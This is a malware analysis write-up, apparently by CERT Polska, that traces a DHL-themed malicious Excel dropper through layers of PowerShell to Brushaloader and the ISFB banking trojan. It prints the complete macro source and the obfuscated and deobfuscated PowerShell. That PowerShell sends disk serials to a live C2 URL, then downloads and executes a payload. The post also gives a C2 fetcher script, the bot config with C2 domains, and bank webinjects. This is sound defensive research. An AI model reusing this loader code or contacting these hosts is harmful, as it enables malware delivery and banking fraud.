Yo dawg, I heard you like droppers so I put a dropper in your dropper
On 2019-11-18 we received a report that some of Polish users have began receiving malspam imitating DHL:
In this short article, we’ll take a look at the xls document that has been used as a (1st stage) dropper distributing another well-known (2nd stage) dropper – brushaloader.
Samples analysed:
- 6a101103486e67f1d8839edd18da773bd9b665ab3df650c9882245d0ee712b8e – 25163275820.xls
- 627294cf0495d2daf8d543aca74bf3cf684673c6a32b8ebf6649f882b362a11a – brushaloader printhpp.vbe
- f25bee3bfe185c6df0ce25cf738f1cc9c72a9ea7f33f6f7545e73d2f3d79b5f8 – brushaloader drop(isfb dll)
While the embedded links did not lead to anything interesting, there was also an .xls file attached, let’s try opening it up:
Interesting…
Poking around, we have noticed that some cells have text in them, but their contents were hidden using specific style and formatting; the font size was set to 2 and color was set to white.
Let’s fetch the macro contents to see what’s going on under the hood: ➜ ~olevba 25163275820.xls
Const leftt = 5 | |
Function cobos() | |
oko = Left((sokia), 2) + 0 | |
cobos = Cells(oko, oko) | |
End Function | |
Sub toro() | |
Dim boll As Workbook | |
Set boll = Workbooks.Add | |
End Sub | |
Sub comaro() | |
G = "0" | |
If Mid(ActiveWorkbook.Name, Len(ActiveWorkbook.Name) - 4, 1) = G Then corecc | |
End Sub | |
Function frug() | |
frug = Zero + False | |
End Function | |
Function afa() | |
afa = msoLanguageIDUI | |
End Function | |
Function sokia() | |
sokia = Application.LanguageSettings.LanguageID(afa) | |
End Function | |
Function corecc() | |
If sokia = 209 * leftt Then Shell venus, msoSyncConflictClientWins | |
toro | |
End Function | |
Function venus() | |
Dim des, kes As String: des = "": kes = des | |
For t = leftt To 8 | |
des = des + Zerro(Cells(t, leftt - 1)) | |
Next t | |
For w = leftt To 8 | |
kes = kes + Zerro(Cells(w, leftt)) | |
Next w | |
venus = des + cobos & kes | |
End Function | |
Function Zerro(ByVal finde As String) As String | |
J = 1 | |
Dim CGu, subb, hole As Integer | |
Dim Nnul As Integer | |
Dim arrg() As Integer | |
Dim vexel() As Long | |
subb = IIf(Right(finde, 1) Mod 2 = frug, leftt, leftt - J) | |
finde = Left(finde, Len(finde) - IIf(Right(finde, 1) Mod 2 = frug, J, J)) | |
hole = Len(finde) / subb - J | |
ReDim arrg(hole): ReDim vexel(hole) | |
Nnul = frug: CGu = frug | |
For CGu = frug To hole | |
arrg(CGu) = CGu - (hole + J) | |
Next CGu | |
For Nnul = frug To hole | |
For CGu = frug To hole | |
If CInt(Mid(finde, CGu * subb + J, subb - 3)) = Nnul Then | |
vexel(Nnul) = (Mid(finde, (CGu + J) * subb - 2, 3) + arrg(Nnul)) | |
Exit For | |
End If | |
Next CGu | |
Next Nnul | |
Zerro = "" + "" | |
For Nnul = frug To hole | |
Zerro = Zerro & Chr(vexel(Nnul)) | |
Next Nnul | |
End Function | |
Private Sub borderstyle_Layout() | |
Debug.Print: ThisWorkbook.comaro: Debug.Print "" | |
End Sub | |
Private Sub prnt_Click() | |
Debug.Print "": ThisWorkbook.comaro: | |
End Sub |
The above code is a complete source-code of the macros embedded in the spreadsheet. Taking a closer look we can identify several interesting snippets:
Private Sub prnt_Click() | |
Debug.Print "": ThisWorkbook.comaro: | |
End Sub |
The print button does nothing, probably to encourage users to enable macros in the document.
Const leftt = 5 | |
... | |
Function afa() | |
afa = msoLanguageIDUI | |
End Function | |
Function sokia() | |
sokia = Application.LanguageSettings.LanguageID(afa) | |
End Function | |
Function corecc() | |
If sokia = 209 * leftt Then Shell venus, msoSyncConflictClientWins | |
toro | |
End Function |
The payload script will run only on application with language set to Polish (id=1045).
Const leftt = 5 | |
... | |
Function cobos() | |
oko = Left((sokia), 2) + 0 | |
cobos = Cells(oko, oko) | |
End Function | |
Function venus() | |
Dim des, kes As String: des = "": kes = des | |
For t = leftt To 8 | |
des = des + Zerro(Cells(t, leftt - 1)) | |
Next t | |
For w = leftt To 8 | |
kes = kes + Zerro(Cells(w, leftt)) | |
Next w | |
venus = des + cobos & kes | |
End Function |
The program will fetch values from cells D5:D8, E5:E8 and J10 which match the fields with embedded data that we have observed earlier.
The cells’ contents are decrypted and concatenated using a custom algorithm. The result is a PowerShell script:
PoWershelL -noniNtER -W 000000000000000000000000000000000000000000000001 -exEcuTIonPOlic BYpAsS -NopRofi "\".( `$VErbOSePrEFEREnCE.TosTriNg()[1"\" +([CHaR]44).TOSTRing()+ "\"3]+'X'-Join'') ( nEW-OBJect SyStem.iO.stREAmreadEr( ( nEW-OBJect iO.cOMPrESSiON.DeflATEsTReam( [Io.memoRYstrEam][CONvert]::FroMbase64sTRING( 'TVZpj6NIEv0rVms11SW6ixvskeYDmNscNoeN3RqpMWDMfdocvfXfN9OzrV3JzosX8SJfJkGsvq7++PrlF/H5C/v8hX9+WX2/rd6+v317s66aGLpgUImnt/cVwFAvDPkJwfjnL/oFfpudAYCEGDRGFwegi8uP1Pro3U6EMwf87bf3r18hzYsD2H+BLBV4Ip7+j+t9BWmYT8gEONa/+YAJ+5tv9Vbu7bh3UmD2EYmgdQEf9GH+l8wBxFwJBv0ZNDedG2BsqvUR1iCM1Q+1/jBEw7Ln3rVFzvh79WNrmUexG/7+889/QqR+b5H8Z4u3DkbKgKbkOUhBOa6tVglkfXv/UKtnncdfoYrMK9INMKZfkVOgI8AKAcfsaz/E+rUzEpDg1IsFB3gKygqmFBzDEIAnHBiQ7CscEvihoXgARkJr6AjESEAaACUJqA+UjoAOIRLqDOWDFsApsXltioIbgz1wggM4DeFgTEFuuGMcns0b3+7W1nqvb2JSsBZ4jLVzcKeMbH2CEPjYPJOHrW7QiN+U2L0ZCN6nzevOUGeWVDZ3CXePV3eeof6DgfWMotKutoApXde6NCQq0t38zmn5tBBTCCO3oMm0bEKKDcY8FUQwlZFvzZtlJ1oxtNLhQR93Uqs71bXkLD2CB+wj3IHeNOM9vSw1e6FSP0X25KGMn+BhwMSn3PQSvtkOM7Pni2VB9xG25D2vPWtvD28ObYqJuRaa495jS1zzth6mKcxZL+i740++lPpK7ePEYbgu9iaL9VrMOeqEPHEvKiN3A1wk0x1/LkxJTsOJ2HBH/34IIoy97doYdZZ+aHAkx1x/B++OupNuxOEijLRLCVFS1XeKuqzBEw3ztrKG0kRKXkqiws+dD1a90724pVLXRPp8D6AHY6jmbUDi5nrGaiQ+LMhLO4J/6nLGqZLOu0EIFpjAyDEmJevb7IVo0xIX/D7xBW6O57Nwn25yAUBrrJRAJ0vKnaytURHSRD4pBqsUxFYaR/4qLsWdOAYKU/M1c2NGvS937bx9Ep1iPi7OhS7cey6o6+fDEB3mok2I0KL3inLIa1PiGfA9hdxsHcoTxl4cJM41co1it1uN9IfSkumtXS2z6o2iAt9VrNP3Na2zZfko+ezhHdHeqA9kgU2HmD3XjwiAcPQipJZlUSw7zVxm2h5d+IvdB3prcowbnQIwMRK32k3tuB1sF8mzNX+6XjNNvPppQoTeHEvJrGzk88GnZ0bQMsdiDHKNr9Ejags1yXj7q98Z+mZXiNdl2SXanGWL2ulQ6HXlyqmThPgwXSKdnpXMwaRkJO1JEsP6lonH2rRO4rDrCMRqjDGT8zqpg8WKq6f0uFh2zV7veV1nj0vlChZn7DjgteO4/im5lSef4L3tbBTFLk4RlIqdrtVqSk5nd2c+aUaqTUfkknFL6LZ0hoJsr2We2doYKtM00nncSbGpqWniTypm5bUrwrfEuXfC3k5ZNJ9PmUqhC730CzFqS2zo7c1WpSlwdvhdxvMpS4/aUA9ihsUbojt3O4GfdBULLqy09w9nBd1bWhSpRRDsg6L0rwNXnPmxyTsL8DTHSxMimizusW5Xt33D8ZnwMHtXkq1i/XhsPNEAMF46nhuYULpACeZHIvuiaz7qB1iKbDnXRJ7ylpDGwxtSR0yHenZyNQprsuorp258p9VsPbBmo5nT8/2cghxRnIDtHiaQw19/gTa3OSIk40aIyMlt5zwfzXU2KpN2dlt0L0mVL2PHEyJ7MD1pS2QhlBY9OrYFuWM2BHrXPlumemR5PZ9n/mAKuQSzRaqrquJkjcOWBOlSckQ7hHs0EZEJucstKmJqf9E34QUeTKaTbVU+/OARRJazrtJJcTQ67BNeUC2hu3AICQRcpmBIerQI7042Hk/k+V6f9tcr/LSdZZoAr4rnJjujL2ICrfTNvG0djJKzonqFjm1Mjvc8Jh0Zjt9ybHykA3mLMyahmeYtUh7bUjfydchRVcvdEsfbzXFiDmRt8/khyYyp5nbycJUF4GuhjhJvYPaGRhy6p7MkFx75Vm53UjKN8POZsB6bFXO+pShBQ5DJXCp/23hNoD9FuuTu4nyECZViVARWA9HFvKE9h9eCjjAovOV4fEy00IfisG2OlN1Nvm368UgVmO5nKPyUbo/gjtvcHt2QaKdzdL/VLE2Ilu3on5HQlI0+9pCRlJ7DU0Y2Z9FDl2Mkrbe5pg4uOFTikqKj2RgDTCjLfOrTEygEkup5jyt6LZgUWA4NLKfldtAbuWtxayPeM0p9wtKh75owTVlema5GSarDlnYPUJpz5XdHerfZPRZ2eOyNBGWQHSOiygkvWWvSdP9hbVKjLWHGQ9N8EdsIalGQoJnf3t9X3368ig9j38G6pTY/QqtsutjpVcssrUgEdccX4WccWj+NphP7/svq/f3bj352YGUzxL77IZqhJahmApGc8zNU1S/vq/eP3wXVq0ixY05wLVgQVdH/ipL31b//+Lr616/Y/Hn8+efPsC77vRh+/qC+EeBH//1ds1Lz7e39Pw==' )"\" +([CHaR]44).TOSTRing()+ "\" [IO.ComPREssioN.comprESsIOnmoDE]::deCoMPRess ) ) "\" +([CHaR]44).TOSTRing()+ "\" [TEXt.eNcoDiNG]::AsciI)).ReAdtOEND() "\"|. ( $sheLlid[1]+$sHElLId[13]+'x') |
Decompressing the deflate blob can be easily achieved using the following Python script:
import base64 | |
import zlib | |
encoded = "TVZpj6NIEv0rVms11..." | |
decoded = base64.b64decode(encoded) | |
decompressed = zlib.decompress(decoded, -15) | |
with open('output', 'wb') as f: | |
f.write(decompressed) |
Running the script yields the following results:
( &("{2}{0}{1}" -f '-','ObJEcT','nEW') ("{4}{0}{3}{2}{1}{5}" -f'ySt','De','Mrea','em.iO.sTrEa','S','R')((&("{0}{1}{2}"-f 'n','EW-','ObJEcT') ("{6}{4}{2}{8}{0}{3}{1}{7}{5}" -f 'mPResSi','.dE','Tem.','ON','S','STrEAm','sY','fLAte','IO.co')( [Io.MEMORysTREAM] [CONVErt]::("{0}{4}{2}{1}{3}" -f'fr','E6','mBAS','4STRIng','O').Invoke(("{26}{7}{9}{15}{3}{45}{27}{23}{47}{0}{28}{8}{34}{14}{1}{19}{43}{24}{49}{40}{46}{17}{37}{4}{35}{50}{13}{38}{30}{22}{25}{36}{32}{5}{6}{21}{10}{11}{20}{33}{39}{29}{2}{42}{12}{48}{16}{51}{18}{44}{41}{31}"-f'BqK8O8PL9e3DOza','oSQTxj3qX22DBeNY3QCLM5+Xpm0hpt2BX5NbKMIy73H9hF1TVbTyy','ftM0s6HI5TJz','5ooLFtgI+rfXrSqBilEiy','3C','jJjx+l906vH+DNHwBqNfORgJltqFQu5VKFqLSnbmAOLdm','X+AQ59pwhiZzo7Z4iXi+P3Qmev','a6eWkNUgBpCty6PBlzz/Pd0zksBJvoUP','T5NEgN8DpVPU7m1JUCU0JH6YLl5hSXxXFiXHoX12QtbzR9jeLoEkA4W+v1UdmdT9','gxh1vz6m3xtW29AVXhQad07fKqe/Szstp1+k0TXK','mIKFf2QZDw5T4Ddgnoh44Z8','J0UCGJ/52i3Zm2n1YrX','UWhlfiFrpdLyhaK','MtnyCa31N8y0o+eQz+iy','2BvLGjAIFLBTac','6aMk06i3ofyUc/pq2Z1hxBl1NwYYDhxfGl','80mF','GFHh3oOwHDigGWHM7Hl2CFwwBbEzlh2VaH6oBo6f6wLsmKqyCv2rHNuZSZ5lThkDI8vuMES6ZJx+Dq/hn4S3bpm1j','xcAyOQmW07ZS+ekJ38/0ffo+sQmOG5CRnzyIUwEH','s0rLPo5L7mmumBjuUV/sMoQ3l0xQe7Youd','1/ZDiOOO477xyAjNRU5lXzRsaLqNA6TdWazRsMgTnKxqwCtRT+kj8BWbbjJEbXig2cUyeFgyH9GYQX5y6DJjSO6M3818/V/RDo36UPbXrML9KlEbzzKgJyjjzIrLy','8nTGiSgc1txZdL5yHjS0Fgw3RxFEcofjEVoNOWEtKr2+OpMwjGkogoazOenvFuZORo7bhkoojuZnTDOAMKA','rAAsvFTnUGWv','rR//0ZSlamHRi8InxgWYTKNv56FoNSEAgwC2LRFYd','CbmkjRJwcHxxw5kerFeNJIigXxI0OkoTEm','ShrDPRi7/kyWjI4/z5zsz2wJzeMLqfRIFxaSK1hG1kxjiVJtotEj0e92rYrKDBxLI0aZ7FPXQYH/POJddIlaaPalmXbtAlYBwpkrO','pVZpc+JGEP0rKoqspABjDuNsTFGOl8uu9UEM','BFVYp','oraHayugGXETNuou','dRGkJEB4Uzc51cf+od6r/URgbMlOxOobAI9XSqJRLaOyMpyiYhYiBqNlW','PC','Q==','kRA2c3epDd3xTqykkwN8jwHxJYTq/PFFnXG0VW+GU','fJzdO+4Jdur7qP3QyMD5Kqvq6nujkoyYyBQNDkFP','iLIIHSjpS7m23T4Gd5S2TVN+E6cAZfdle4PZL9cZd','jL3qnmuXauadOS8nixHSJ5csgBDIODrZA+3almzxatgs/lchSjwVW3YhoWPbbi','YG52ffoUTgKMsle2/nL9yCqS04GjlnGU','09NABUU6iw6ABCA7eV5aGC16N2JNNfdHuCmLMk8cA4nqAfgSUKyegNt3oRBkQgjMxoAKGtbGD','z4VFBM0R95+S5s5jgkDukCGqKFgxwe','g7U7jlykC44DJ++xNznXCpUpaLvE5mAhEyV','T46I+','DdZNf/sA1oDL+6/A','1eVgJcXd','7qk+mrfGf9swV4l0LXj/','OCV56FRAP/93/rLA5sCJOJDdzCwXY+cNGMseU+w3FvtvG+9YEU/zVdF8CkJItTnXG2Zi/wNpMtH','zyWsiWEAmgnvhen58DN4','cM0k5GqtLpGrq1O9Ehj4IvN','srpcii7BHxbMm3ItC5TQD','YnXrV5K9Kuz7tuPMg/6+K6E/HW1m7OxJLXuO9iMqmj','/ikzEqdV','l3','y')) ,[IO.coMPresSioN.cOmpreSsIONmOdE]::"D`ecO`MprEss" )),[sySTem.teXT.ENcODINg]::"AS`cII") ).("{0}{1}" -f'ReADTOE','nd').Invoke() |&( ${eN`V`:`comsPEc}[4,24,25]-JOiN'') |
The resulting script is somewhat obfuscated using strings formatting, we can clean it up with another quick Python script:
import re | |
import sys | |
string_format = '''\\("((\\{\\d+\\})+)"\\s*-f\\s*('.*?')\\)''' | |
def reformat(match): | |
items = list(map(int, match.group(1)[1:-1].split('}{'))) | |
strings = match.group(3)[1:-1].split('\',\'') | |
return '"' + ''.join(strings[x] for x in items) + '"' | |
with open(sys.argv[1]) as f: | |
data = f.read() | |
print(re.sub(string_format, reformat, data)) |
Which gives us another PowerShell script with a large base64 blob that contains the next layer:
( &"nEW-ObJEcT" "SyStem.iO.sTrEaMreaDeR"((&"nEW-ObJEcT" "sYSTem.IO.comPResSiON.dEfLAteSTrEAm"( [Io.MEMORysTREAM] [CONVErt]::"frOmBASE64STRIng".Invoke("pVZpc+JGEP0rKoqspABjDuNsTFGOl8uu9UEMa6eWkNUgBpCty6PBlzz/Pd0zksBJvoUPgxh1vz6m3xtW29AVXhQad07fKqe/Szstp1+k0TXK6aMk06i3ofyUc/pq2Z1hxBl1NwYYDhxfGl5ooLFtgI+rfXrSqBilEiyzyWsiWEAmgnvhen58DN4BFVYprR//0ZSlamHRi8InxgWYTKNv56FoNSEAgwC2LRFYdsrpcii7BHxbMm3ItC5TQDBqK8O8PL9e3DOzaoraHayugGXETNuouT5NEgN8DpVPU7m1JUCU0JH6YLl5hSXxXFiXHoX12QtbzR9jeLoEkA4W+v1UdmdT9iLIIHSjpS7m23T4Gd5S2TVN+E6cAZfdle4PZL9cZd2BvLGjAIFLBTacoSQTxj3qX22DBeNY3QCLM5+Xpm0hpt2BX5NbKMIy73H9hF1TVbTyys0rLPo5L7mmumBjuUV/sMoQ3l0xQe7Youd7qk+mrfGf9swV4l0LXj/CbmkjRJwcHxxw5kerFeNJIigXxI0OkoTEm/ikzEqdVT46I+cM0k5GqtLpGrq1O9Ehj4IvNGFHh3oOwHDigGWHM7Hl2CFwwBbEzlh2VaH6oBo6f6wLsmKqyCv2rHNuZSZ5lThkDI8vuMES6ZJx+Dq/hn4S3bpm1j09NABUU6iw6ABCA7eV5aGC16N2JNNfdHuCmLMk8cA4nqAfgSUKyegNt3oRBkQgjMxoAKGtbGD3CjL3qnmuXauadOS8nixHSJ5csgBDIODrZA+3almzxatgs/lchSjwVW3YhoWPbbil3MtnyCa31N8y0o+eQz+iyz4VFBM0R95+S5s5jgkDukCGqKFgxwePCrAAsvFTnUGWvShrDPRi7/kyWjI4/z5zsz2wJzeMLqfRIFxaSK1hG1kxjiVJtotEj0e92rYrKDBxLI0aZ7FPXQYH/POJddIlaaPalmXbtAlYBwpkrOYG52ffoUTgKMsle2/nL9yCqS04GjlnGUkRA2c3epDd3xTqykkwN8jwHxJYTq/PFFnXG0VW+GUjJjx+l906vH+DNHwBqNfORgJltqFQu5VKFqLSnbmAOLdmX+AQ59pwhiZzo7Z4iXi+P3Qmev8nTGiSgc1txZdL5yHjS0Fgw3RxFEcofjEVoNOWEtKr2+OpMwjGkogoazOenvFuZORo7bhkoojuZnTDOAMKAmIKFf2QZDw5T4Ddgnoh44Z8J0UCGJ/52i3Zm2n1YrX1/ZDiOOO477xyAjNRU5lXzRsaLqNA6TdWazRsMgTnKxqwCtRT+kj8BWbbjJEbXig2cUyeFgyH9GYQX5y6DJjSO6M3818/V/RDo36UPbXrML9KlEbzzKgJyjjzIrLyfJzdO+4Jdur7qP3QyMD5Kqvq6nujkoyYyBQNDkFPg7U7jlykC44DJ++xNznXCpUpaLvE5mAhEyVdRGkJEB4Uzc51cf+od6r/URgbMlOxOobAI9XSqJRLaOyMpyiYhYiBqNlWftM0s6HI5TJz1eVgJcXdUWhlfiFrpdLyhaKYnXrV5K9Kuz7tuPMg/6+K6E/HW1m7OxJLXuO9iMqmj80mFyxcAyOQmW07ZS+ekJ38/0ffo+sQmOG5CRnzyIUwEHOCV56FRAP/93/rLA5sCJOJDdzCwXY+cNGMseU+w3FvtvG+9YEU/zVdF8CkJItTnXG2Zi/wNpMtHDdZNf/sA1oDL+6/AQ==") ,[IO.coMPresSioN.cOmpreSsIONmOdE]::"D`ecO`MprEss" )),[sySTem.teXT.ENcODINg]::"AS`cII") )."ReADTOEnd".Invoke() |&( ${eN`V`:`comsPEc}[4,24,25]-JOiN'') |
Decoding the base64 and cleaning up the binary again gives us a yet another PowerShell script:
function W`D(${Q}){${B} = ${q}.ToCharArray();Foreach (${E`l} in ${B}) {${c} = ${C} + "" + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32(${e`l}))}${c}};${dF}=."Get-WMIObject" -class "win32_PhysicalMedia";${E`ZA}=[Text.Encoding]::UTF8;${a}='';${s`Er}=foreach(${df} in ${dF}){${A}=${A}+${d`F}.SerialNumber};${E}=.('wd')(${a});.('SV') ('j') (&"New-Object" "Net.WebClient");.('Sv') "qW3" "https://reloffersstart.co/ss.php?$e";function G`H(${sG}){${Tg}=[Convert]::FromBase64String(${S`G});return ${Tg}};${p`P}=(&"New-Object" "IO.StreamReader"(."New-Object" "IO.Compression.GzipStream"((."New-Object" "IO.MemoryStream"(,(([byte[]](."Variable" ('j')).Value.DownloadData((.('Gi') "Variable:/qW3").Value))))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();${F5}=${Pp}.substring(0,5)+ (${pp} -replace '.*?(?=.{1,5}$)').trim();${P`P}=(${p`p} -replace ".{5}$") -replace "^.{5}";foreach(${o`H} in ${P`P}){${ok}=@();${f`s}=${F5}.ToCharArray();${OH}=.('gh')(${OH});for(${Z}=0;${z} -lt ${O`h}.count;${z}++){${ok}+=[char]([Byte]${O`h}[${z}] -bxor[Byte]${F`S}[${z}%${f`S}.count])}};${M`k}=(&"Gci" -path (((${e`NV:T`EmP}.tostring()))) | ."Where-Object" { ${_}.PSIsContainer }|."select" "fullname" |."Get-Random" -count 1).FullName+(("bj2printhpp.vbe").REpLAce(([CHaR]98+[CHaR]106+[CHaR]50),[StrinG][CHaR]92));[io.file]::WriteAllText(${m`K},(${E`za}.GetString((&('gh')(((&"New-Object" "IO.StreamReader"(&"New-Object" "IO.Compression.GzipStream"((&"New-Object" "IO.MemoryStream"(,(&('gh')(${Ok})))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))))));if((&"gci" ${m`K}).Length -lt 5){exit};[System.Diagnostics.Process]::Start(${M`K})|."out-null";&"sleep" 25;.('ls');[io.file]::WriteAllLines(${M`K},[regex]::replace(${E},'\D','1')); |
After some manual formatting we eneded up with the below script:
function W`D(${Q}){ | |
${B} = ${q}.ToCharArray(); | |
Foreach (${E`l} in ${B}) { | |
${c} = ${C} + "" + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32(${e`l})) | |
} | |
${c} | |
}; | |
${dF}=."Get-WMIObject" -class "win32_PhysicalMedia"; | |
${E`ZA}=[Text.Encoding]::UTF8; | |
${a}=''; | |
${s`Er}=foreach(${df} in ${dF}){${A}=${A}+${d`F}.SerialNumber}; | |
${E}=.('wd')(${a}); | |
.('SV') ('j') (&"New-Object" "Net.WebClient"); | |
.('Sv') "qW3" "https://reloffersstart.co/ss.php?$e"; | |
function G`H(${sG}){ | |
${Tg}=[Convert]::FromBase64String(${S`G}); | |
return ${Tg} | |
}; | |
${p`P}=(&"New-Object" "IO.StreamReader"(."New-Object" "IO.Compression.GzipStream"((."New-Object" "IO.MemoryStream"(,(([byte[]](."Variable" ('j')).Value.DownloadData((.('Gi') "Variable:/qW3").Value))))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); | |
${F5}=${Pp}.substring(0,5)+ (${pp} -replace '.*?(?=.{1,5}$)').trim(); | |
${P`P}=(${p`p} -replace ".{5}$") -replace "^.{5}"; | |
foreach(${o`H} in ${P`P}){ | |
${ok}=@(); | |
${f`s}=${F5}.ToCharArray(); | |
${OH}=.('gh')(${OH}); | |
for(${Z}=0; ${z} -lt ${O`h}.count; ${z}++){ | |
${ok}+=[char]([Byte]${O`h}[${z}] -bxor[Byte]${F`S}[${z}%${f`S}.count]) | |
} | |
}; | |
${M`k}=(&"Gci" -path (((${e`NV:T`EmP}.tostring()))) | ."Where-Object" { ${_}.PSIsContainer }|."select" "fullname" |."Get-Random" -count 1).FullName+(("bj2printhpp.vbe").REpLAce(([CHaR]98+[CHaR]106+[CHaR]50),[StrinG][CHaR]92)); | |
[io.file]::WriteAllText(${m`K},(${E`za}.GetString((&('gh')(((&"New-Object" "IO.StreamReader"(&"New-Object" "IO.Compression.GzipStream"((&"New-Object" "IO.MemoryStream"(,(&('gh')(${Ok})))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd())))))); | |
if((&"gci" ${m`K}).Length -lt 5){exit}; | |
[System.Diagnostics.Process]::Start(${M`K})|."out-null"; | |
&"sleep" 25; | |
.('ls'); | |
[io.file]::WriteAllLines(${M`K},[regex]::replace(${E},'\D','1')); |
In short, the script iterates over drive IDs and concatenates them creating a hex-encoded unique id.
That id is then submitted to the c2, which responds with an xor-encrypted payload, that is the first stage vbs of a normal brushaloader campaign.
It can be easilly fetched, decrypted and decoded using this nifty Python script with some help from our malware-analysis library – malduck:
import requests | |
import malduck | |
from base64 import b64decode | |
import gzip | |
import os | |
# url fetched from sample | |
url = 'https://reloffersstart.co/ss.php' | |
my_disk_id = os.urandom(32).hex() | |
# avoid causing a scene | |
headers = { | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0' | |
} | |
# ¯\_(ツ)_/¯ | |
proxies = { | |
'http': 'socks5://localhost:9050', | |
'https': 'socks5://localhost:9050' | |
} | |
r = requests.get(f'{url}?{my_disk_id}', proxies=proxies, headers=headers) | |
# the original response is gziped | |
response = gzip.decompress(r.content) | |
# the xor key is composed of first and last 5 bytes | |
key = response[:5] + response[-5:] | |
payload = response[5:-5] | |
decrypted = malduck.xor(key, b64decode(payload)) | |
# additional compression + encoding for some reason | |
final_payload = b64decode(gzip.decompress(b64decode(decrypted))) | |
with open('printhpp.vbe', 'w') as f: | |
f.write(final_payload.decode('utf-8')) |
Brushaloader has been described exensively in the past by Proofpoint and Talos, nothing new here.
Let’s focus on the dropped binary instead, Brushaloader used to be used for distribution of Danabot botnet no. 3 in Poland, but some time ago we have observed a shift to ISFB v2.
For this particular sample the config is as follows:
{ | |
"compilation_date": "Nov 5 2019", | |
"tor64_dll": "google.com file://%appdata%/system64.dll", | |
"botnet": 1000, | |
"sendtimeout": 300, | |
"bctimeout": 10, | |
"ssl": true, | |
"configfailtimeout": 30, | |
"dga_seed": 1, | |
"dga_base_url": "constitution.org/usdeclar.txt", | |
"key": "WIdtM3YCfxhwrbV1", | |
"dga_lsa_seed": 3988359472, | |
"server": 12, | |
"dga_count": 5, | |
"configtimeout": 300, | |
"public_key": { | |
"e": 65537, | |
"n": "27256213892455884287067357381585076149609654983833629800230381252317288335809447520963185642274274178322449945665776998752546989025703397942470105458322184125537405873353207036117374773905670551589617668518423280140116468456222289661739540894613261845269655602781589677601735834401816283415382214398638551477861138310171303571951025203425256014203691234352994991658623278672277542287595596864454581099047353290004443742335845004177185052007144036976911163550407696744880760548254252507950356568128271403814980489191845256618394785973442952757436608012760897705667350354900074611018906391447612096565995439524493312619" | |
}, | |
"type": "isfb", | |
"dga_tld": [ | |
".com", | |
".ru", | |
".org" | |
], | |
"knockertimeout": 300, | |
"xcookie": -1, | |
"timer": 60, | |
"exe_type": "worker", | |
"ip_service": "curlmyip.net", | |
"tasktimeout": 300, | |
"tor32_dll": "google.com file://%appdata%/system32.dll", | |
"version": "2.16.098", | |
"domains": [ | |
{ | |
"cnc": "http://ey7kuuklgieop2pq.onion\n" | |
}, | |
{ | |
"cnc": "http://maiamirainy.at" | |
}, | |
{ | |
"cnc": "http://drunt.at" | |
} | |
], | |
"dga_season": 10, | |
"dga_crc": 1320669898 | |
} |
The static config is used to download webinjects and redirects targeting Polish banking sites and email providers.
ACTION: REDIRECT - Target: https://*test1/my9rep/* -> http://nesssellbuyt.xyz/hc/ | |
ACTION: REDIRECT - Target: https://*css15/home/* -> http://nesssellbuyt.xyz/newstyle/ | |
set_url https://<REDACTED>/* | |
replace: </title> | |
inject: | |
</title> | |
<script id="myjs1" src="test1/my9rep/myjs28_frr_s35.js?bb=@ID@" data-botid="@ID@"></script> | |
<script id="myjs2"> | |
document.getElementById("myjs1").parentNode.removeChild(document.getElementById("myjs1")); | |
document.getElementById("myjs2").parentNode.removeChild(document.getElementById("myjs2")); | |
</script> | |
end_inject |
If you’re interested in receiving information about webinjects targeted at your domain, you might want to check out our injects sharing website: injects.cert.pl
That’s it, if you have any additional questions do not hestitate to reach out to us at @CERT_Polska_en or info@cert.pl
Thanks to Kafeine from Proofpoint for the ISFB sample.